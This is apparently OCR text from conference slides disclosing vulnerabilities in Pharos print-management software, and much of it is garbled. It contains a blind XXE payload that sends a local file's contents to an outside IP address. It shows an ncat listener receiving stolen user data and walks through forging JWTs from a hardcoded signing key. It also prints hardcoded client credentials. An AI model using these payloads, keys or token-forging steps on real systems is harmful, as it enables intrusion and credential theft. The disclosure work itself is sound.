ADLDAP Bank
BEAR Bank
CartaDis Bank
COT Bank
CopiCard Bank
CSD Bark

Danyl Bank
DanyiChip Bank
DebiTekChip Bank
DebiTekMagnetic Bank
Default Bank

<

42 items returnes

~ PC Pharos Station
Source of Identification
Source of Payment
Can Trensfer Funds

v General
MName ADLDAP Bank
adldaplogon exe
v EDINetwork Teminals
Allow logon using Logon |D and Password Yes
Attempt logon with blank Password No
Allow logon using Card No
Types None
hen using No
d registration No
Mask entry of Logon ID No

ID and Password Dialog Box
ID and Password Dialog Box
No

DebiTekMagnetic Cash Card Reader
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/PharosEDI/EdiService.asmx

eb Service
€ > ¢ « I

EdiService

The following operations are supported. For 3 formal defirition, please review the Service

« AddTerminal
Adds a new termina! (or 3rd party device) to the system.

Adduser
Add 8 user into the system.

Adduser2
Add a user into the system - version 2.

AdduserGroup

Rad » user 3roup.
+ Changepass
Change o users password

CheckPrintiobPassword
Check if the "t 4" 1 the correct password for the protected print job (print]

ConfigureSession
Configure an EDI sessio

ConfigureSession2
Configure an EDI session - version 2
version 3.

Credituser
Credit o user

DeletePrintlob
Requests the server to delete the print job with job_id in the queue

DeletePrintiob2
Requests the server to delete the print job with job_id in the queve - version 2

DeleteTerminal
Delete a terminal or 3rd party device from the system.

Deleteuser
Oeiete & user from the system.

DeleteuserGroup
dCodes
Searches for any codes that match the pattem

FinduserCodes
Searches for codes that the user is allowed to access in the specfied category and match the patter.

FindUserCodes2
Searches for codes that the user is sllowed to acce:

duserCodesd
Searches for codes that

E
Returns 3 list of al users with id matching the pattern.

GelCodeDetails
Gets a descriotion of the specified charge code.

GetCodeDetails2
Gets s description of the specified charge

opyCostings
ms the cost structures for thes copier
GetCopyCostings2

Returns the cost structures for this cooier - version 2.




/PharosEDI/EdiService.asmx

EdiService

Click here for a complete list of operations.

InitializeSession2

This method initializes the session - version 2.

Test

The test form is only available for requests from the local machine.

SOAP 1.1

The following is a sample SOAP 1.1 request and response. The placeholders shown need to be replaced with actual values.

POST /PharosEDI/EdiService.asmx HITP/1.1

Host:

Content-Type: text/zml; charset=utf-8

Content-Len length

SOAPAction: "http://tempuri.org/action/Pedi.InitializeSession2"

<2?2xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www .org/2001/XMLSchema—instance"” xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/socap/encq|
<soap:Bedy socap:encodingStyle="http://schemas.xmlsocap.ord/soap/encoding/ ">
<gl:InitializeSession2 xmlns: ttp://tempuri.org/message/">
<site_code xsi:type="xsd:string">string</site code>
</ql:InitializeSession2>
</scap:Body>
</scap:Envelope>

HTTR/1.1 200 OK

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www .org/2001/XMLSchema-instance” xmlns:xsd="http://www.w3.0rg/2001/XMLSchema” xmlns:soapenc="http://schemas.xmlsoap.org/scap/encol
<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/ ">
<tns:InitializeSession2Response>
<session_id xsi:type="xsd:string">string</session id>
<utec_time xsi:type="=xsd:string">string</utc_time>
<utc_offset xsi:type="xsd:string">string</utc offset>
<time_zone name xsi:type="xsd:string">string</time_zone name>
</tns:InitializeSession2Response>
</soap:Body>
</soap:Envelope>




LoginUser2

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2023.3.3 - Temporary Project [m] x

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn {§} Settings

N + Q i

——

| Jusr/share/ngin/html/blindxxe.txt — root@172.93.53.63 - Editor — WinSCP x

H & B [ g a9 i & ¥=| | Encoding = [] Color - (7]

:-<!Er'-.ITIT‘|r % data SYSTEM "file://c:/windows/win.ini">
(<IENTITY % paraml "<!ENTITY &#x25; exfil SYSTEM ‘http://175.45.176.1:88/2%data; >">

LLiﬂE: 22 Column: 69 Character; 38 (0x34) Encoding: 1232 (ANS| - L= Modified
@@ & ||| | search 0 matches @{é} €||>| | Search 0 matches

Done 1225 bvtes | 14473 millis




LoginUser2 - Suecess

MAPI=1 HTTP/1
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Hacking In Reverse

SecurityTokenDescriptorHelpers

// PharosSystems.Rest.APL.Core.Security.SecurityTokenDescriptorbelpers
+using |...

public class SecurityTokenDescriptorHelpers

-1

private const string Name = "TB?awh/#85)Bpe&naTkQ!WE@Ax 'C}_[k/aeQf!7,";
private static readonly Lazy<byte[]> SymmetricKey = new Lazy<byte[]>(delegate

byte[] array = new SHA1CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes("TB?awM/#85)BpedndTkQ WE@Ax"C} [k/aeQf!7,"));
byte[] array2 = new byte[array.lLength];
Buffer.BlockCopy(array, @, array2, @, array.Length);
return new SHA256CryptoServiceProvider().ComputeHash(array2);
1

public static SecurityToken CreateSecurityTokenDescriptor(ClaimsIdentity claimsIdentity, Lifetime tokenLifetime)

return CreateSecurityTokenDescriptor{claimsIdentity, tokenLifetime, SymmetricKey.Value);

}

public static SecurityToken CreateSecurityTokenDescriptor(ClaimsIdentity claimsIdentity, Lifetime tokenLifetime, byte[] symmetrickey)

{

claimsIdentity = claimsIdentity.Clone();

new string[s5] { "i » Taud”, "exp”, "nbf", “iat" }.SelectMany((string claimToken) =» claimsIdentity.FindAll((Claim claim) => claim.Type == claimToken)).ForEach(de
claimsIdentity.TryRemoveClaim(claim);

H

JwtsecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
SecurityTokenDescriptor tokenDescriptor = new SecurityTokenDescriptor
i

Subject = claimsIdentity,

TokenIssuerName = "PharosfPI",

AppliesToAddress = "http://www.pharos.com/PharosAPI",

Lifetime = (tokenLifetime ?? new Lifetime(DateTime.UtcNow, DateTime.UtcNow + TimeSpan.FromSeconds(38.8))),

SigningCredentials = new SigningCredentials(new InMemorySymmetricSecurityKey(symmetricKey), “http://wwaw.w3.org/2001/84/xmldsig-mores#thmac-sha256™, "http://ww.w
Is

return jwtSecurityTokenHandler.CreateToken(tokenDescriptor);




Path To JWT

. Start with hardcoded “key”
- Calculate the SHA1 value of the key

- Calculate the SHA256 value of the SHAT output
- Base64 encode

- Use to HS256 sign a JWT which has:
- api_reg_action
. api_reg_value

-




Sign JWT

Algorithm  Hs256

Encoded i Decoded —wcrioes

HEADER: ALGORITHM & TOKEN TYPE

eyJBeXA101JKV1QiLCJIhbGei01iJIUZITINIJY ey
JheGlfemVnX2F jdGlvbiI6I1VzZXJFbWFphEFKZ
HJ1c3NVcGRhdGVBdXRob3JpemFOaW9uIiwiYXBp
X3J1Z192YWx1ZSI6IntcIkVtYWlsQWRkemVzclw
101lwidy@tKzJAd2VhemVoYWNrZXJvbmUuY29tXC

IsXCJDb2 1wbGVOZWRDYWx PR B
44135 ;
jOiL ap1l_reg
dySm “UserEmail,
6MTc nL

3 1. USFBbRZgm7MMvydJVOD2z .

WzeYshDA3N_JLdgWRGNIgs "http:/ pharos.com/PharosAPI"

VERIFY SIGNATURE

HMACSH.

) & secret bases4 encoded




...Then What?

- We have a properly signed JWT, but it's not used
for authentication!

- .Net indirection can be frustrating

- ILSpy eventually reveals that JWT’s are used with
account registration

- Also used with guest accounts

- And used with email verifications

-




CSRF To The Rescue

dharosAPl X |+

<« c B nttps; PharosAl Iregistration-token=ZXIKMGVYQWIPaUpLVjFRaUxDSmAIR2M

JSOM  RawData  Headers

Save Copy Collapse All Expand Al
Identifier: "ECIyXoTknF4EIF
Logon1d:

Firstuames:

Lastame:

DisplayName:
w Emziladdresses:

Active:
IsGuest:
Alias:
accountType: “normal”
w Balance:
Amount: "@.ee"
Isoffline: false
Purses: I
PrintJobs: null
Devices: null
Lastrodified: null
ETag: null
Location: "/users/ecIyXoIknF48IF! L2RTW2"
Phone: null
Address: null
Group: “domain users"
comment:
Customl: nuLL
custom2: null
widdlemnitial:  "w"
offlineamount:  "e”
OfflineLimit: 8"
Id: 378508




[root@nop ~]# ncat -1 -v -p 80 -

Neat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::80

Ncat: Listening on 0.0.0.0:80

Ncat: Connection from

Ncat: Connection from 31610.
POST /user-data-steal HTTP/1.1

User-Agent: PharosAPI-Client/1.0 (Internal Client)
Accept: application/json

Date: Fri, 23 Feb 2024 08:57:36 GMT
[content-Type: application/json

Host :

lContent-Length: 2752

Expect: 100-continue

[connection: Keep-Alive

{
$type": "<Ff_AnonymousType0” 2[[PharosSystems.Rest.API.Core.Repositories. User. UserRepositoryEmailAddressUpdateRequest, PharosSystens.Rest.API.Corel, [PharosSystems.Rest.APL.Core.Hodels. User. User, PharosSystems.Rest.APL.Core]]
PharosSystems. Rest. APT. ExternalInterface”
"UserEmai 1AddressUpdate”: {
“Stype”: "PharosSystems.Rest.API.Core.Repositories. User. UserRepositoryEmailAddressUpdateRequest, PharosSystems.Rest.API.Core
"UserIdentity™: {
"$type”: "PharosSystems.Rest.API.Core.Models. User. UserIdentity, PharosSystems.Rest.API.Core”
“PrimaryUserIdentifier”:
UserIdentifiers”s T

PrintCenterkelease
“ClaimsPrincipal”: "ev)0eXAi0iIKV1OiLCIhbGCi0iITUZI1NII9. evIibmlxdi

QZLLIUYMY10IBY. g1-1qWxdb> JSUVDZKEG3bmeK: J4-WTT/nBUGLYTthe

I
“EmailAddress”: “w-—+2@

er:

$type “PharosSystems.Rest.API.Core.Models.User. User, PharosSystems.Rest.API.Core™,
"Identifier”: "6clyXolkwF48FMgVL2RTw

“LogonId”:

“FirstNames”

“LastNam

“DisplayName":

“Emai1Addresses”

"Active": trua

"Alias™:

"AccountType": "Normal"

“Balance"
"Stype”: "PharosSystems.Rest.API.Core.Models. UserBalance. UserBalance, PharosSystems.Rest.API.Core”,
Amount™: "0.00",
"IsOffline”: false,




Fixed?

Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.

SecurityTokenDescriptorHelpers

22 Show assembly load log

// PharosSystems.Rest.API.Core.Security.SecurityTokenDescriptortelpers
public class SecurityTokenDescriptorHelpers
-1
private const string Name = "TB?awM/#85)Bpe&ndTkQ!WE@Ax C} [k/aeQf!7,";

public static readonly Lazy<byte[]> SymmetricKey = new Lazy<byte[]>(delegate

byte[] bytes = Encoding.UTF8.GetBytes("TB?awM/#85)BpenoTkQ!WE@Ax'C}_[k/aeQf!7,");

return new Rfc2898DeriveBytes(PasswordHasher.GenerateHash(bytes, HashAlgorithm.Create("SHA256")), bytes, 100@).GetBytes(32);
s

public static SecurityToken CreateSecurityTokenDescriptor(ClaimsIdentity claimsIdentity, Lifetime tokenLifetime)
{

}

public static SecurityToken CreateSecurityTokenDescriptor(ClaimsIdentity claimsIdentity, Lifetime tokenLifetime, byte[] symmetrickey)

return CreateSecurityTokenDescriptor(claimsIdentity, tokenLifetime, SymmetricKey.Value);

claimsIdentity = claimsIdentity.Clone();

new string[5] { "iss", "aud", "exp", "nbf", "iat"™ }.SelectMany((string claimToken) => claimsIdentity.FindAll((Claim claim) => claim.Type == claimToken)).ForEach(delegate(Claim c

claimsTIdentity. TryRemoveClaim(claim};
e
JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
SecurityTokenDescriptor tokenDescriptor = new SecurityTokenDescriptor
{

Subject = claimsIdentity,

TokenIssuerMame = "PharosAPI",

AppliesToAddress = "http://www.phares.com/PharosAPI",

Lifetime = (tokenLifetime ?? new Lifetime(DateTime.UtcNow, DateTime.lUtcNow + TimeSpan.FromSeconds(38.8))),

SigningCredentials = new SigningCredentials(new InMemorySymmetricSecurityKey(symmetricKey), "http://www.w3.org/2001/84/xmldsig-more#hmac-sha256", "http://www.w3.org/2801/84/
b

return jwtSecurityTokenHandler.CreateToken(tokenDescriptor);
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Statie Analysis Only!

PharosApiCookieAuthentication(this IAppBuilder, HttpConfiguration, PharosApiBasicAuthenticationOptions, PharosApiBasicAuthenticationOptions, AuthenticationMode, bool) : |1AppBuilder

// Pharos.Owin.Security.ApiAuthentication.AppBuilderExtensions
+using |...|

public static IAppBuilder PharosApiCookieAuthentication(this IAppBuilder appBuilder, HttpCenfiguration httpConfiguration, PharcsApiBasicAuthenticationOptiens userAuthentic >
H{

if (userAuthenticationOptions.UseExternalAuthentication)

httpConfiguration.Filters.Add(new HostAuthenticationFilter("Phaross50"));
}
httpConfiguration.Filters.Add(new HostAuthenticationFilter("X-PHAROS-USER-TOKEN"));
httpConfiguration.Filters.Add(new HostAuthenticationFilter("X-PHAROS-CLIENT-TOKEN"));
AuthenticationTicketFormat authenticationTicketFormat = new AuthenticationTicketFormat(appBuilder.GetDataProtectionProvider());
TAuthenticationSessionStore sessionStore = new AuthenticationTicketSessionStore(authenticationTicketFormat);
if (userAuthenticationOptions.UseExternalAuthentication)

appBuilder.UseCookieAuthentication(new Pharos.Owin.Security.Cookies.CookieAuthenticationOptions
PathExclusion = new PathString[1]

{

new PathString("/signalr™)
s
AuthenticationType = "Pharosss0”,
AuthenticationMode = authenticationMode,
CookieHttpOnly = true,
CookieSecure = CookieSecureOption.SamedAsRequest,
CookieSameSite = SameSiteMode.Lax,
CookieName = "PharosAPI.Ss0",
SessionStore = sessionStore,
Provider = new CoockieAuthenticationProvider
I




Client Token?

Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
= for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.

2= Show assembly load log

// PharosSystems.Rest.API.ClientAuthenticator.Authentication.ClientAuthenticationProvider
+using ...

public class ClientAuthenticationProvider : IClientAuthenticationProvider
—{
private class AuthenticatedClients

public IList<AuthenticatedClient> Clients { get; set; }
private class AuthenticatedClient

private readonly Lazy<AuthenticatedClients> _loadedAuthenticatedClients = new Lazy<AuthenticatedClients>(() => JsonConvert.DeserializeObject<AuthenticatedClients>
(Encoding.UTF8.GetString(ClientClaims.ClientClaimsData)));

public IEnumerable<Claim> Authenticate(string user, SecureString password)
if ( loadedAuthenticatedClients.Value == null)
throw Error.CreateMpsServerException("Client authentication not loaded; missing resource bad format", ClientErrors.ClientduthenticationNotloaded, Array.Empty<object>());

AuthenticatedClient authenticatedClient = ExecuteObjectFunctionOfTExtensions.IfNull<AuthenticatedClient>(_loadedduthenticatedClients.Value.Clients.SingleOrDefault
((AuthenticatedClient client) => client.LogonId == user), (Func<AuthenticatedClient>)delegate

throw Error.CreateMpsServerException("Client authentication failed; client not valid", ClientErrors.ClientAuthenticationFailed, Array.Empty<cbject>());

12
using (SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider())

byte[] bytes = Enceding.UTF8.GetBytes(authenticatedClient.Password.Substring(@, 11) + "=" + StringExtensions.CreateString(password));
byte[] inArray = sHA256CryptoServiceProvider.ComputeHash(bytes);

if (authenticatedClient.Password.Substring(®, 11) + Convert.ToBase645tring(inArray) != authenticatedClient.Password)

i

¥

throw Error.CreateMpsServerException(“”Client authentication failed; passwords don't match", ClientErrors.ClientAuthenticationfailed, Array.Empty<cbject>());

return SecurityTokenDescriptorHelpers.validateToken(authenticatedClient.Token, Encoding.UTF8.GetBytes(StringExtensions.CreateString(password))).Claims;




Client Claims Data

nbli ALY ClientClaimsData

rmscorlib (4.0.0.0, NETFramework, v4.0)
“Clients™: [

i
"LogonId": "FEGI1E@e9GYXPj2ERSNGAMWAGKAXIRME"
"Password”: "CglHWOx/YTeNbkKna2qazZh/1Y94VGppuvdvadUoasqHblul/3+/12M=",
"Token":
"ey]@eXA101IKV1QiLCIhbGe101ITUZzTINL 19 . eyJodHRWO1Bve 2NoZHINLNBOYXIvcy51b28vd3MuMAXNC BwSIBb 2t 1b19 jbGFpbXMvYWN@b3T1011bG11bnQi LCIodHE
dvbigjbGFpbXMvemVzcGouc2Ui0171c2Vy T iwi aHR@cDovL 3N aGVtYSSwaGRyb3MuY29tL 3dz Lz TwMTQUMDEVEmVnaXNBcmF 8akouL 2Ns VWL tey9hbGxvd2Vk VWNEaHIUT j¢
41LCIodHRWO18vC2NOZWLhLnBoYXIveySTb2evd3Myij AxNCEw 197baFphxivt kIjoid)N1lcillbWFpbCIsInh@dHASLy9zY2h1bWEUCGhhcmIzLmNvbSt
4tZ3JvdXA101iINb2IpbGVQemludEFkbluaXN@cmFOalgu I iwiaXNzI joiUGhhemazQVBIIiwivXVkIjoiaHRBcDovL 3d3dySwaGFyb3MuY29tL1BoYXIve@FQSSISImVACC:
XhexdECkShhegQHOrmCPyucZDKyBaov162F4™

b

"LogenI bwnUQCE7joabYxbyFnLgQDpugee2Gyt”,

"Password”: "7cP55154ti40bIniopS6AzMlkje77yFiml2apGbPAxzQyZDurHQaCs=",

"Token™:

"eyl8eXAi0iIKV1QiLCIhbGei0iITUzTINi19. eyJodHRwO1 By 2NoZW1hLnBoYXIveySjh2evd 3MuMjAxNC 8wtMS98b2t1bi 9 bGF pbXMvYWNGb3T1011§bG11bnQiLC JodH!
dvbigjbGFpbXMvc31zdGUELXIvbGUi0iIQYX1tZWSeU2VydmljZVByb3ZpZGVy IiwiaHR@cDovL 3N aGVLYS5waGFyb3MuY29tL 3dzLz IwMTQVMDEVAGIr ZWdvY2xhallzL 2!
JvdmlkZXIilCIodHRWO1BvC2NoZWLhLNBoYXIveySjb28vd3MyMjAXNCBmS98b2t1big jbaF pbXMybmO@aWZpY2F@aWIuLXB1c2gi0iIBbGxvd2VkI iwiaXNzIjoiUGhhome
BoYXIvc@FQSSIsImVAcCIEMTkBODMZMTE1MSwibmImI joxNjMyNzkaMzUxfQ. EZXP1UN_FTexLZOPEat4BjvInUdK5Ba7rIkFp8oKlns™

b

"LogenId": "VOuwViGRRhgQYYAEOKIckDglauyafhna",
"Password”: "adQb4Q5phI4+0TnU¥dvwnvQds42BEnz3Zthfh19+nl7bu3rMbFCIIk=",
+ =8 Pharos,Owin.Security. ApiAuthentication (5.0.0.0, NETFramework, v4.6.1) "Token™:

B PharosSystems Rest APl Externallnterface (5.0.17.1, METFramewark, v4.6.1) "ey18eXAi0iIKVIQiLCIhbGei0iITUzI1Ni19. eyJodHRwO1Bvc2NoZW1hLnBoYXIveyS jh2evd 3MuMjAxNC 8wMS98b2t1bi 9 jbGF pbXMvYWNBb3T1011jb611bnQiLCJodHE
B PharosSystems.Rest. APl ClientAuthenticator (3.0.0.0, .NETFramework, v4.6.1) dvbigjbGFpbXMvc31zdGUELXIvbGUi0iIHb29nbGVDbGI1ZFByaWs@liwiaHRACDoVL 3N jaGVLYS5waGFyb3MuY29tL3dzLz IWMTQVMDEvAGIrZWavY 2xhalWlzL 25vdG Lmall
+ B Metadata Rw018ve2NoZWLhLnBoYXIvey55b28vd3MvM jAxNCBMSay ZHdpc 3Ry YXRpb24vY 2xhalll zL 2F sbGI3ZWRAY3Rpb24101 IV 2VyRWLhakixBZGRy ZXNzVXBKYXR10XVEaGIyaX;
+ 4 References ByMDE@BLzAXL3Rva2VuL 2Ns¥YWltcy9ub3RpZmljYXRpb24t cHVzaCI6TkFshGI37WQiLCIpc3MiniIQaGFyb3NBUEKILCIhdWQi01iJodHRWO18vd3d3LnBoYXIvcySib2avuGh
L Recources I30TgzNTF9. A1RB0o3BxXHTVEjhASGYYEDaQwCPZVB2y8s19604 DpU”

+ & PharasSystems Rest API.ClientAuthenticator. Errors, ErrorStrings.resources
.I'Illl'll F'hEFDSS\ =& PharosSystems Rest APL.ClientAuthenticator Resources.ClientClaims.resources DbsRHXQAEpUPyuXi39pfr2rizpobdBlp”,
¥l L] ClientClaimsData "Password”: “"MNxXKrosorM57cLgT7XZpSVG3Tc8NcTyVikLco38FGY17dPLTWITO0=",

internal st - ickeny:
‘ } PhamsSystems‘Rest‘API‘CI\entAuthEntlcatnr.Authent\catmn “Ey]GEXA]'.U]..]KVlQiLC]hbﬁCiUi]IUZIlNi]B.Ey]UdHRWiBVCZNOZNlhLHBOYX]VCySijeVd3HVHjAKNCMSQObZt1bi9beFpbmvmmt@Iiﬂi]jbﬁllbﬂQiLc]DdHl
| + *z ClientAuthenticationProvider dvbigjbGFpbXMvc31zdGVELXIvbGUi0iIVbmlwemludEFkbiluaXN@cmF@b3IilCIpc3MioilQaGFyb3NBUEKLLCIhdWQi0ilodHRWO18vd3d3LnBoYXIveySjb2@vUGhhemt

| {} PharosSystems Rest API.ClientAuthenticator.Errors n T L

{} PharosSystemns Rest.APl.ClientAuthenticator.Resources H
-
ClientClaims "LogonId": "iNrpYSDgkCuKctluUYvkBHCisrTvQjsl”,
Base Types "Password”: "MOytGqEqasmcYibUBBQO1Qh7533aTtEQbVMEF7B3GnWIK+6GVVI=",

Derived Types “Token":
resourceCulture : Culturelnfo "eylBeXAi01IKVIQiLCIhbGCi0iIIUZIINII9. eyJedHRWOLBvC2NoZWIhLNBOYXIvCyS jh2evd 3MvMjAXNCBwMS98b2t 1big jbGF pbXMyYWNBb3 11017 jbe11bnQil CIodHl

resourceMan : ResourceManager dvbigjbGFpbXMvc31zdGUELXIvbGUi0iIVbmlwemludFBy cHVWQ2xpZWS@LiwiaXNzIjoiUGhhcmdzQVBIIiwiYXvkIjeiaHR@cDovL3d3dySwaGFyb3MuY29tL1BoYXIveei
ClientClaimsData : bytel] n UxfQ.XcS7ySKCF5X53PIyjTRREy 1CYK2P38DV1wwiipl jGoo!

ResourceManager : Resourcehlsnager "LogonId": "sxAFCZKzYyGuwRCtHvYnoVAbCekorDir™,
ClientClaims() "Password”: "jTpNVgFbUmsqrPsY1FOpFMzYIHMu4famI3DTOk+6L94xD30WhdQfk=",
"Token”:

-
<
Bﬂ
Bﬂ
*
%, Culture : Culturelnfo
*,
9




Not So Easy

1 Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
= for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.

2= Show assembly load log
// PharosSystems.Rest.API.ClientAuthenticator.Authentication.ClientAuthenticationProvider
+ using |. ..

public class ClientAuthenticationProvider : IClientAuthenticationProvider
-1
private class AuthenticatedClients

public IList<AuthenticatedClient> Clients { get; set; }

private class AuthenticatedClient

using (SHA256CryptoserviceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider())

1
byte[] bytes = Encoding.UTF8.GetBytes(authenticatedClient.Password.Substring(@, 11) + "=" + StringExtensions.CreateString(password));
byte[] inArray = sHA256CryptoServiceProvider.ComputeHash(bytes);
if (authenticatedClient.Password.Substring(e, 11) + Convert.ToBase64String(inArray) != authenticatedClient.Password)

{
3

throw Error.CreateMpsServerException("Client authentication failed; passwerds don't match™, ClientErrors.ClientAuthenticationFailed, Array.Empty<object>());

((AUTNENT1CaTtedll1eNT CL1ENT) =» CL1ENT.LOgonld == user), (FUNC<AUTNENT1CaTedll1ent>)delegate

throw Error.CreateMpsServerException(“Client authentication failed; client not walid”, ClientErrors.ClientAuthenticationFailed, Array.Empty<object>());

1
using (SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider())

byte[] bytes = Encoding.UTF8.GetBytes(authenticatedClient.Password.Substring(®, 11) + "=" + StringExtensions.CreateString(password));
byte[] inArray = sHA256CryptoServiceProvider.ComputeHash(bytes);
if (authenticatedClient.Password.Substring(@, 11) + Convert.ToBases4String(inArray) != authenticatedClient.Password)
{
throw Error.CreateMpsServerException("Client authentication failed; passwerds den't match", ClientErrors.ClientduthenticationFailed, Array.Empty<object>());
}
}

return SecurityTokenDescriptorHelpers.ValidateToken(authenticatedClient.Token, Encoding.UTF8.GetBytes({StringExtensions.CreateString(password))).Claims;




Not So Easy - Algorithm

- Take the first 11 characters of the
ClientClaimsData password

- Add an equals sign

- Add the password from the user

. Sha256 the string &
- Compare to the 12t to last ters from the

ClientClaimsData password




Can’t Bruteforce, Can Just Find!

grep -a -r -1 -1 "p.h.a.r.o.s.-.c.l.1.e.n.t"

RestartApiButton_Click{object, EventArgs) : void

// PharosSystems.Administrator.ContextViews.SystemSettings.SysPropMobilePrint
Husing |...

private void RestartApiButton_Click(object sender, EventArgs e)

if (!RestartSanityCheck())
return;

string BaseUri = “https://{@}/pharesapi{l}";
string text "PHAROS-CLIENT";
string arg = "/logon?logonmethod=client-id";
string arg2 = "/recycleapp”;
string arg3 = "DbsRHxQAEpuPyuXi39pfF2rizpobdBlp™;
string argd4 = "S5IbeueZsTy2kalaOmjhiWNudlaLOFURLKZICiUbLZCH3YSIMIQHIT v
string text? = Convert.ToBasef4String(Encoding.ASCIT.GetBytes (3" {arg3}:{argd}"));
List<Server> serverListByService = Server.GetServerListByService("PSRestapi”);
RestartApiButton.Text = "Restarting Servers...";
RestartdpiButton.Enabled = false;
RemoteCertificateValidationCallback serverCertificateValidationCallback = ServicePointManager.ServerCertificateValidationCallback;
ServicePointManager.ServerCertificateValidationCallback = (object param@, X589Certificate paraml, X589Chain param2, SslPolicyErrors param3) =»> true;
try
{
foreach (Server item in serverlListByService)

CookieContainer cookielar = new CookieContainer();
Func<string, string, HttpllebRequest> func = delegate(string urlFragment, string server)
{
string requestUriString = string.Format(BaseUri, server, urlFragment);
HttplWebRequest httpWebRequest2 = WebRequest.Create(requestUristring) as HttphWebRequest;
httplebRequest2.CookieContainer = cookielar;
httplebRequest2.Accept = "application/json”;
return httplebRequest2;

HttplebRequest httpWebRequest = func(arg, item.Name);
httplebRequest.Headers.Add("X-Authorization”, text + " " + text2);
httpuebRequest.GetResponse();

httplebRequest = func(arg2, item.Name);

httpliebRequest .GetResponse( ) ;

catch (Exception exception)




Burp Sufte Professionsl v2023.6.2

surp - Beensed ta Wesley Wineberg [single user

Login Suecess!

ense]

Gup Project Intruder Repeater Window

Dashboard Intruder

Target  Proxy

HTTR/1.1

GET /FharoskF1/logon

gaip, deflats
Contene-Type:
1 X-Authorizatio
BGI 2 UKh4UTF]

application/ison

Help
Repeater

Collaborator  Sequencer  Decoder  Comparer  logger  Organzer  Extensions  Leam  ISON Web Tokens  Interactsh

Target: https:/

Response

Raw  Hex
HTTF/L.1 200 CK
Pragma: no-cache

PHEAROS-PRINT-CENTER-URI :
Set-Cookie: PharcmhPl.X-PHAROS-CLIENT-TOKEN=
AcOAUuGe 10Jwe TDGIET3UZISYTE Th-ix3cGfAzc?_s253 pntWTxEcANISYVankd_ExTqRcqkT STQAF ADVEOP-CPDIBLooTHOT e =Py

ENUINSLFIOU]

Connecclon: elose

Eqi3FE200 3ADRGSEEPT LudaXY rABumEINILEBUE Ze_AFyGT4B w2 e cClImuv? kPO ZHxrHe
MHVLWLNUS TE THRBT2 L

» G74B,

VEGKIVLLYFILyHVSe [TmuDrPILAY7NeL LTTRES dIORDESTX- ame

Set-Coukis: PhacoskPI.Signln.Tok

KEAVE Enyeules pLyValp_TmkD)
SRR

LXTaVELD 1KOWZVU FLIOpD &V L THpDSEN

Oy TxFRRu_§
expires=Thu,
5.0.17.1
y-Policy: fram
‘unsate-eval® k
‘= inlin:

o *; default-sic ‘nons';
ovser-update . org;
eepore-uri

connect-sre
Pharosipi/Con:

‘melf'; mcript-src ‘self’
‘melf' was:: img-arc 'self' data:s
eSecurityPolicy/Violation
¥3S-Protection: 1; modesblock
Ppe-Options: nosmiff
Stelet-Transporc-Security: max-age=3153£000

e 'none'; geolocation 'mome'; CAmEra 'mome’ : speaker 'n
<-age-£400

07 Jul 1023 00:1%
: cless

ngth: 0

omaches | () B3 €[>

@ matches

1,405 bytes | 920 millis




= Email Server E

Credentials

il



MobilePrint Configuration

@ My Print Center x | +
<« (] O & htipsyy ‘myprintcenterf#mobileprint-em ailserver D Q Search
@ Help  welcome
My Printing  Reports  Delegate Printing  Theme  Admin  Custom Charges  System Monitor  Secure Ewent Log ;QuntaManagemem

1 Refresh
~
Print Email Settings Incoming Mail Server
Printto ernail address - Accounttype Office 365 (OAuthy v
Pages per side 1 . Primary Email
Black and White Application 1D it 6
Both sides TenantID ad 2d
=4 Test Email Client Seeret cossesesssnsessnnsessnesel
Email operation timeout 5 Seconds
Printto ernail address -
Fages per side 1 A
Black and White
Both sides
¥4 Test Email
Printto email address -
Pages per side 1 v
Black and White (m]
] v




MobilePrint API

s
Burp Suite Prafessional v2023.6.2 -
Burp Project Intruder Repeater Window Help

Dashboard  Target  Proy  Intruder  Repester  Collaborator

licensed to Wesley Wineberg [single user license]

Sequencer  Decoder  Comparer  logger  Organizer  Extensions  leam

=]

JSON Web Tokens Interactsh {5y Settings
18 % 19x  20x  21x 2% 23x 24x 2Bx  %x  27x 28x +Q

m @ cancel |[< |7 Target: https:// wmea (2)
Request Response &
Pretty Raw  Hex n Pretty  Raw  Hex  Render =
1 GET /PharosAP1/mobileprint/contig/EnailServerConfiguration?converteddaca=1e_request= 1 HTTP/1.1 200 OK K
b879c3b2-3238-458£-8dE5-d5£35£cEbEBas_=1E85009712737 HTTP/L. 1 - 2 Cache-Control: no-store 3
2 Host: 5 Pragma: no-cache g
5 4 Content-Type: application/3son; charsst=utf-8
© %-PHAROS-PRINT-CENTER-URI:
§|3eu-Cookie: FharosAPI Signin.Toke
TRQKTT_dxps. Jxkd_3FpaBQVeua_STEEH7O_xnaFKBAHCOQFBZlrEK_BAGHRIZERGUALZ 68
PSSLLTPmas w2710MV85HCVE; path=/; expires=Non, 10-Jul-2023 12:41:48 GMT; securs; HttpOnly:
Samesite:
7 X-PHAROS-AP [-VERSION: 5.0.17.1
8 PharcsAPT. X PHAROS-USER-URI=42FuserstlF svar c48udVILs ; secure: Heeponly:

user-agent:
Aecepe: /4

Accepr-Encoding:

Referer

9 Content-Type:

@& <>

Done

2
B
6 Accep-Language:
.
B

Search.

en-US, =n; q=0.5
azip.

application/json
x

trict
ity-Policy: *; default-src 'nome';

‘unsafe-inline' !
style-src

10 ¥-Frame-Cptions: deny

